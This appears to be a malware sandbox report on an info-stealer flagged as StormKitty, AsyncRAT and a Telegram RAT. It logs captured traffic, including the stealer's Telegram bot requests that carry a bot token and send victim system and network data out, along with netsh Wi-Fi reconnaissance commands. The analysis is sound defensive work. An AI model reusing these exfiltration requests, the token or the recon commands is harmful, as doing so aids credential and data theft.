Jan 10, 2025 23:53:48.670387030 CET	535	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:53:48 GMT Content-Type: text/plain Content-Length: 13 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Set-Cookie: __cf_bm=eA_K26SRSuLMMxaXIwIIpXA0d148ou8FVrPKuythsNU-1736549628-1.0.1.1-lsG66huH6BoVwWiGAHwFaE75dkD7zBGpH_GOzw7v0kwQqUBphs15jWlNMwEh7wMZyf.0QDdv661MKtZMVdop4Q; path=/; expires=Fri, 10-Jan-25 23:23:48 GMT; domain=.icanhazip.com; HttpOnly Server: cloudflare CF-RAY: 90003ecad81a447a-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 38 39 0a Data Ascii: 8.46.123.189

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49794	104.21.44.66	443	7540	C:\Users\user\Desktop\cOH7jKmo25.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:53:49 UTC	112	OUT	GET /geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15 HTTP/1.1 Host: api.mylnikov.org Connection: Keep-Alive
2025-01-10 22:53:49 UTC	1009	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:53:49 GMT Content-Type: application/json; charset=utf8 Content-Length: 88 Connection: close Access-Control-Allow-Origin: * Cache-Control: max-age=2678400 CF-Cache-Status: HIT Age: 17087 Last-Modified: Fri, 10 Jan 2025 18:09:02 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jtu3G2fMI3eyGZ3oj6yqu%2FeExl9bBE9R%2BuURN9DorhNrkdQnNYhRnHYAB%2Fw4j%2BefGv%2BwhCD3dXIefNyGBK4j9oiFDs%2BVYs7mIJ7r6XsC1PuCvtyG7jhFRHqWjV9duh3DtZXJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 90003ecf3f628cc5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1817&min_rtt=1813&rtt_var=689&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=726&delivery_rate=1578378&cwnd=228&unsent_bytes=0&cid=701755df879555b3&ts=177&x=0"
2025-01-10 22:53:49 UTC	88	IN	Data Raw: 7b 22 72 65 73 75 6c 74 22 3a 34 30 34 2c 20 22 64 61 74 61 22 3a 7b 7d 2c 20 22 6d 65 73 73 61 67 65 22 3a 36 2c 20 22 64 65 73 63 22 3a 22 4f 62 6a 65 63 74 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 22 2c 20 22 74 69 6d 65 22 3a 31 37 33 36 35 33 32 35 34 32 7d Data Ascii: {"result":404, "data":{}, "message":6, "desc":"Object was not found", "time":1736532542}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49796	149.154.167.220	443	7540	C:\Users\user\Desktop\cOH7jKmo25.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:53:50 UTC	1720	OUT	GET /bot6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8/sendMessage?chat_id=5287158069&text=%0A%20%20%F0%9F%8C%AA%20WorldWind%20Pro%20-%20Results:%0ADate:%202025-01-10%205:53:38%20pm%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20user%0ACompName:%20302494%0ALanguage:%20%F0%9F%87%A8%F0%9F%87%AD%20en-CH%0AAntivirus:%20Windows%20Defender.%0A%0A%20%20%F0%9F%92%BB%20Hardware:%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%20282H_%0ARAM:%204095MB%0AHWID:%20C344724773%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x1024%0A%0A%20%20%F0%9F%93%A1%20Network:%20%0AGateway%20IP:%20192.168.2.1%0AInternal%20IP:%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system!%0AExternal%20IP:%208.46.123.189%0ABSSID:%2000:50:56:a7:21:15%0A%0A%20%20%F0%9F%92%B8%20Domains%20info:%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20Bank%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20Crypto%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20Freaky%20Logs%20(No%20da [TRUNCATED] Host: api.telegram.org Connection: Keep-Alive
2025-01-10 22:53:50 UTC	344	IN	HTTP/1.1 403 Forbidden Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:53:50 GMT Content-Type: application/json Content-Length: 84 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:53:50 UTC	84	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 33 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 46 6f 72 62 69 64 64 65 6e 3a 20 62 6f 74 20 77 61 73 20 62 6c 6f 63 6b 65 64 20 62 79 20 74 68 65 20 75 73 65 72 22 7d Data Ascii: {"ok":false,"error_code":403,"description":"Forbidden: bot was blocked by the user"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49806	149.154.167.220	443	7540	C:\Users\user\Desktop\cOH7jKmo25.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:53:51 UTC	171	OUT	GET /bot6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8/sendMessage?chat_id=5287158069&text=%F0%9F%93%81%20Uploading%20Log%20Folders... HTTP/1.1 Host: api.telegram.org
2025-01-10 22:53:51 UTC	344	IN	HTTP/1.1 403 Forbidden Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:53:51 GMT Content-Type: application/json Content-Length: 84 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:53:51 UTC	84	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 33 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 46 6f 72 62 69 64 64 65 6e 3a 20 62 6f 74 20 77 61 73 20 62 6c 6f 63 6b 65 64 20 62 79 20 74 68 65 20 75 73 65 72 22 7d Data Ascii: {"ok":false,"error_code":403,"description":"Forbidden: bot was blocked by the user"}

Target ID:	0
Start time:	17:53:34
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\cOH7jKmo25.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\cOH7jKmo25.exe"
Imagebase:	0x7e0000
File size:	179'200 bytes
MD5 hash:	F69889D705F5D72D65661B48535AE1B3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000000.00000000.1315479015.00000000007E2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 00000000.00000000.1315479015.00000000007E2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000000.1315479015.00000000007E2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000000.1315479015.00000000007E2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 00000000.00000000.1315479015.00000000007E2000.00000002.00000001.01000000.00000003.sdmp, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000000.00000000.1315479015.00000000007E2000.00000002.00000001.01000000.00000003.sdmp, Author: ditekSHen Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 00000000.00000002.2566383997.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2566383997.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000000.00000002.2566383997.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	17:53:46
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:53:46
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:53:46
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\chcp.com
Wow64 process (32bit):	true
Commandline:	chcp 65001
Imagebase:	0x190000
File size:	12'800 bytes
MD5 hash:	20A59FB950D8A191F7D35C4CA7DA9CAF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:53:46
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh wlan show profile
Imagebase:	0x1200000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	17:53:46
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr All
Imagebase:	0x480000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:53:47
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:53:47
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	17:53:47
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\chcp.com
Wow64 process (32bit):	true
Commandline:	chcp 65001
Imagebase:	0x190000
File size:	12'800 bytes
MD5 hash:	20A59FB950D8A191F7D35C4CA7DA9CAF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	17:53:47
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh wlan show networks mode=bssid
Imagebase:	0x1200000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	15.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	3.4%
Total number of Nodes:	87
Total number of Limit Nodes:	0

Executed Functions

Function 05960B20 Relevance: 1.6, APIs: 1, Instructions: 65
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 05960B6C

Memory Dump Source

Source File: 00000000.00000002.2570313306.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_cOH7jKmo25.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5eef3976d5277a3126fb63d5e28584bf6f1e3a1a30f25c79fd0d0c18f41fd802
Instruction ID: cd4d5fde261d6be156f99378eb5a332d7245c21da101a0e5925ae656b35b08cb
Opcode Fuzzy Hash: 5eef3976d5277a3126fb63d5e28584bf6f1e3a1a30f25c79fd0d0c18f41fd802
Instruction Fuzzy Hash: 7C215C317002148FCB58EB38C5987AE37F6ABC8349F244469C406A73A5DF769C46CB91

Function 02975AC0 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2566112723.0000000002970000.00000040.00000800.00020000.00000000.sdmp, Offset: 02970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2970000_cOH7jKmo25.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 299789dfa1b4827b493291ceaf41fcc74ea14b0840a764122f370faf07651fa8
Instruction ID: bbf774f12c72d3bf50ea9b040385bfa60cde0eef4599ef0331348bf7bd851938
Opcode Fuzzy Hash: 299789dfa1b4827b493291ceaf41fcc74ea14b0840a764122f370faf07651fa8
Instruction Fuzzy Hash: 41B15EB0E00209CFDB50CFA9C8857AEBBF6BF88704F558529D815E7294EB749845CF81

Function 02976390 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2566112723.0000000002970000.00000040.00000800.00020000.00000000.sdmp, Offset: 02970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2970000_cOH7jKmo25.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1ba4dd5f27fffc86720d758efd42bc4154f721cf529f47607973bc0e8997e75
Instruction ID: 00108e1342fabedfe131a4df34e927a2414791615b6f1d4aa683252c04e0e33a
Opcode Fuzzy Hash: b1ba4dd5f27fffc86720d758efd42bc4154f721cf529f47607973bc0e8997e75
Instruction Fuzzy Hash: 2FB14D70E00609CFDF10CFA9D88579EBBFAAF88714F148529D819E7298EB749845CF81

Function 02971750 Relevance: 2.7, Strings: 2, Instructions: 157
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

D@, xrefs: 0297189C
D@, xrefs: 02971A3B

Memory Dump Source

Source File: 00000000.00000002.2566112723.0000000002970000.00000040.00000800.00020000.00000000.sdmp, Offset: 02970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2970000_cOH7jKmo25.jbxd

Similarity

API ID:
String ID: D@$D@
API String ID: 0-3862852415
Opcode ID: b29eae5142a3f44d538c7e0d17cc6fbc4f0e4690e562952a28e79eae3f1cc994
Instruction ID: 652385301276d2c359d8e3605af9ffce3edfbfc9e6949818379fd1b085ea911f
Opcode Fuzzy Hash: b29eae5142a3f44d538c7e0d17cc6fbc4f0e4690e562952a28e79eae3f1cc994
Instruction Fuzzy Hash: 09517C34B101148FDB04DF69C458BAEBBF6EF88700F2581A9E806EB3A5DA75DD01CB91

Function 02971F3F Relevance: 2.0, Strings: 1, Instructions: 786
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

~, xrefs: 029729CB

Memory Dump Source

Source File: 00000000.00000002.2566112723.0000000002970000.00000040.00000800.00020000.00000000.sdmp, Offset: 02970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2970000_cOH7jKmo25.jbxd

Similarity

API ID:
String ID: ~
API String ID: 0-2493274609
Opcode ID: b0c10c40b83536642a2bdbe46e62eb2ecb10ebfd19a6c28869ff330a54678a05
Instruction ID: fe3f7b34176a0c9d93ecff001b788b2d021486beccbffc07162b0c2d1eb3a945
Opcode Fuzzy Hash: b0c10c40b83536642a2bdbe46e62eb2ecb10ebfd19a6c28869ff330a54678a05
Instruction Fuzzy Hash: 5C72CA70A0021C8FEB55EBA1CD547EE77B6BF88300F1080E9D24AAB2A4DE355E95DF51

Function 02971F50 Relevance: 2.0, Strings: 1, Instructions: 780
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

~, xrefs: 029729CB

Memory Dump Source

Source File: 00000000.00000002.2566112723.0000000002970000.00000040.00000800.00020000.00000000.sdmp, Offset: 02970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2970000_cOH7jKmo25.jbxd

Similarity

API ID:
String ID: ~
API String ID: 0-2493274609
Opcode ID: 59b154c209288eb219e0ddcde5d31a272a34ea81b756bed8c58dd4455381a55a
Instruction ID: 120f00dd2269a171c7669c499e51109dc4050b4a81978e959ce789ef5670cef5
Opcode Fuzzy Hash: 59b154c209288eb219e0ddcde5d31a272a34ea81b756bed8c58dd4455381a55a
Instruction Fuzzy Hash: E272CA70A0021C8FEB55EBA1C9547EE77B6BF88300F1080E9D24AAB2A4DE355E95DF51

Function 0297CB98 Relevance: 1.8, Strings: 1, Instructions: 531
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d, xrefs: 0297CD78

Memory Dump Source

Source File: 00000000.00000002.2566112723.0000000002970000.00000040.00000800.00020000.00000000.sdmp, Offset: 02970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2970000_cOH7jKmo25.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 319b175320fe43ca021f9ac806aa5628e29d9495f7601ef6ab21fe7848b25626
Instruction ID: 4f3a44c19456b7daf0659b254828f4356e97ee664b2d64c1782e80f8a62d9e41
Opcode Fuzzy Hash: 319b175320fe43ca021f9ac806aa5628e29d9495f7601ef6ab21fe7848b25626
Instruction Fuzzy Hash: 1E322670A00609DFDB24CF69C884BADFBF6FF88318F148629E4159B655D730E896CB94

Function 05960B1E Relevance: 1.6, APIs: 1, Instructions: 66
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 05960B6C

Memory Dump Source

Source File: 00000000.00000002.2570313306.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_cOH7jKmo25.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0cd0e4ce3996b544eb5345c401c3f9831b875687e6cd57f0839d89b10e5c36ba
Instruction ID: e837ae830be678540748cb3bb69a99b8bd4be478759c5406fe2b6597c57dd0dd
Opcode Fuzzy Hash: 0cd0e4ce3996b544eb5345c401c3f9831b875687e6cd57f0839d89b10e5c36ba
Instruction Fuzzy Hash: DD215C317001158FCB59EB38C5A8BAE37F6ABC9349F244469C406A73A9DF768C46CB91

Function 05965311 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(00000050), ref: 059653A3

Memory Dump Source

Source File: 00000000.00000002.2570313306.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_cOH7jKmo25.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: f74f8293d1eef860692e0a2d774f9c1c8c0430431a9d6508d9991176afff8cdd
Instruction ID: 63b8d6a13a8df777aa75077cfa00e3b10bc6825f4fea825c61818a6ad56222c6
Opcode Fuzzy Hash: f74f8293d1eef860692e0a2d774f9c1c8c0430431a9d6508d9991176afff8cdd
Instruction Fuzzy Hash: D82136B1804259CFDB04DFA9E445BAEBBF4FB08310F54856AD415B3280D778A948CFA5

Function 05965320 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(00000050), ref: 059653A3

Memory Dump Source

Source File: 00000000.00000002.2570313306.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_cOH7jKmo25.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 6bccc26102974dbc5b1be460baaa74fe8fe16aaccf161a9a78613bcbd3ab19c9
Instruction ID: 4fbc391b15e02135e3360334177d1b6b1807ff90f5b1016b4f983030a5b83352
Opcode Fuzzy Hash: 6bccc26102974dbc5b1be460baaa74fe8fe16aaccf161a9a78613bcbd3ab19c9
Instruction Fuzzy Hash: 0B2104B590425ACFDB00DFAAE445AEEBBF4FB08320F14855AE419B7280C7796944CFA5

Function 05960A6A Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 05960A89

Memory Dump Source

Source File: 00000000.00000002.2570313306.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_cOH7jKmo25.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 37b22f17104b3bc1d270fea6872bfc931f46fc3ab4714e3ac6a01bb6d676953d
Instruction ID: cfa25790d593c2c4610a765ee4d1964ec6b4e4689905ee4521d5dcca947a29e8
Opcode Fuzzy Hash: 37b22f17104b3bc1d270fea6872bfc931f46fc3ab4714e3ac6a01bb6d676953d
Instruction Fuzzy Hash: 4CE06D3A901525DFDB15DB95EA9C6BCF331FBC4351F018121C04623550C730689ACBC1

Function 05960A7C Relevance: 1.5, APIs: 1, Instructions: 19
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 05960A89

Memory Dump Source

Source File: 00000000.00000002.2570313306.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_cOH7jKmo25.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 6d45a1c45832eb2da301648701a96ea9a3a5b103b4dd6dac829164a2375c6e64
Instruction ID: c070a14a7b3820cfc48261c9859fe88db93db1efdd2e177ddc181e9739f3e1b8
Opcode Fuzzy Hash: 6d45a1c45832eb2da301648701a96ea9a3a5b103b4dd6dac829164a2375c6e64
Instruction Fuzzy Hash: E8E0463AA02924EFCB05CB85EA9C6BCB375FBC0352F008122C48663550C731689ACB80

Function 02978651 Relevance: 1.4, Strings: 1, Instructions: 129
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

K, xrefs: 029787A7

Memory Dump Source

Source File: 00000000.00000002.2566112723.0000000002970000.00000040.00000800.00020000.00000000.sdmp, Offset: 02970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2970000_cOH7jKmo25.jbxd

Similarity

API ID:
String ID: K
API String ID: 0-2299363055
Opcode ID: 96b3c770a39d3958e6d6dc89c11e02ad2d898ba5c9668f58e74ce45341e8eaaf
Instruction ID: 96f94dbc9b83fa695bb9d75c86f1730f363d0298a68e2ace43315b4cc763d296
Opcode Fuzzy Hash: 96b3c770a39d3958e6d6dc89c11e02ad2d898ba5c9668f58e74ce45341e8eaaf
Instruction Fuzzy Hash: EF419070A00649CBDB24DFA9D5506AEBBF6BFC8304F208529D416AB391DB70AD45DB40

Function 02970EF7 Relevance: 1.4, Strings: 1, Instructions: 129
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(~, xrefs: 02970F46

Memory Dump Source

Source File: 00000000.00000002.2566112723.0000000002970000.00000040.00000800.00020000.00000000.sdmp, Offset: 02970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2970000_cOH7jKmo25.jbxd

Similarity

API ID:
String ID: (~
API String ID: 0-3359682220
Opcode ID: edf9b31c32e79d564dad4232cebb10c55b7f78bdccfa113b5c5a7796b5c581ba
Instruction ID: ef7c518bee1097454fee3ee5097fba3ea3307774622954bc3656620fae014dc8
Opcode Fuzzy Hash: edf9b31c32e79d564dad4232cebb10c55b7f78bdccfa113b5c5a7796b5c581ba
Instruction Fuzzy Hash: DE51FC78500202CFC706FF30EA7486977A2FF8530D350856DD40A9BABADB79995ACF81

Function 029715B8 Relevance: 1.4, Strings: 1, Instructions: 127
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

D@, xrefs: 029716E9

Memory Dump Source

Source File: 00000000.00000002.2566112723.0000000002970000.00000040.00000800.00020000.00000000.sdmp, Offset: 02970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2970000_cOH7jKmo25.jbxd

Similarity

API ID:
String ID: D@
API String ID: 0-2222373746
Opcode ID: e9e108a2cae598b9ef28015f6b6c2c3c6a96405ebd9f39c7ec8aca43331f4991
Instruction ID: 5c421df7c7e52df9becdb28807865093c085796a090500bebda8a05d577c953a
Opcode Fuzzy Hash: e9e108a2cae598b9ef28015f6b6c2c3c6a96405ebd9f39c7ec8aca43331f4991
Instruction Fuzzy Hash: F7419330B042448FDB15DF79C458BAEBBF6BF89304F1485A9E406EB3A1CA759D05CB91

Function 029716D7 Relevance: 1.3, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

D@, xrefs: 029716E9

Memory Dump Source

Source File: 00000000.00000002.2566112723.0000000002970000.00000040.00000800.00020000.00000000.sdmp, Offset: 02970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2970000_cOH7jKmo25.jbxd

Similarity

API ID:
String ID: D@
API String ID: 0-2222373746
Opcode ID: bc85d153a6e5e505c3e6f9cf9b683cb1c4f822999a1fd99f22561facf2892144
Instruction ID: 42c2937d984d8c719f484f3573b901f7484ef29713a7a62f488f25b3cd1675ac
Opcode Fuzzy Hash: bc85d153a6e5e505c3e6f9cf9b683cb1c4f822999a1fd99f22561facf2892144
Instruction Fuzzy Hash: 60F0C82070C2804FC346973D5465A6E7FE69FC625031945FED149DB7A3DD648C06C3A2

Function 02978970 Relevance: .7, Instructions: 665
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2566112723.0000000002970000.00000040.00000800.00020000.00000000.sdmp, Offset: 02970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2970000_cOH7jKmo25.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea2e8c5027e3a8a873a71dee710226faa53c9d772e33e37b4c7e844f843d368f
Instruction ID: f051dc1a13417ce78fa3c61b961ee61d387ef7e4223261cfb4406b86a01a2b6b
Opcode Fuzzy Hash: ea2e8c5027e3a8a873a71dee710226faa53c9d772e33e37b4c7e844f843d368f
Instruction Fuzzy Hash: AC52DE38A40309DBEB06EBA0E554BAE7773FB8C314F108415E90627BD9CB39A851DF65

Function 029712E0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2566112723.0000000002970000.00000040.00000800.00020000.00000000.sdmp, Offset: 02970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2970000_cOH7jKmo25.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a996d6622a4f2947daa95e886ae7853417a3c488b927c4af6d152eb09c429de
Instruction ID: f5303bacc13aef8f72c212fffdd1ce7b429e5d540df9e8b9229bfbc9d1d31dd2
Opcode Fuzzy Hash: 1a996d6622a4f2947daa95e886ae7853417a3c488b927c4af6d152eb09c429de
Instruction Fuzzy Hash: 16B1BE3190E3D59FD707AB7898A42D93FB1AF47118F0A41E7C085DF2A3D9284C4AC7A6

Function 02975AB4 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2566112723.0000000002970000.00000040.00000800.00020000.00000000.sdmp, Offset: 02970000, based on PE: false

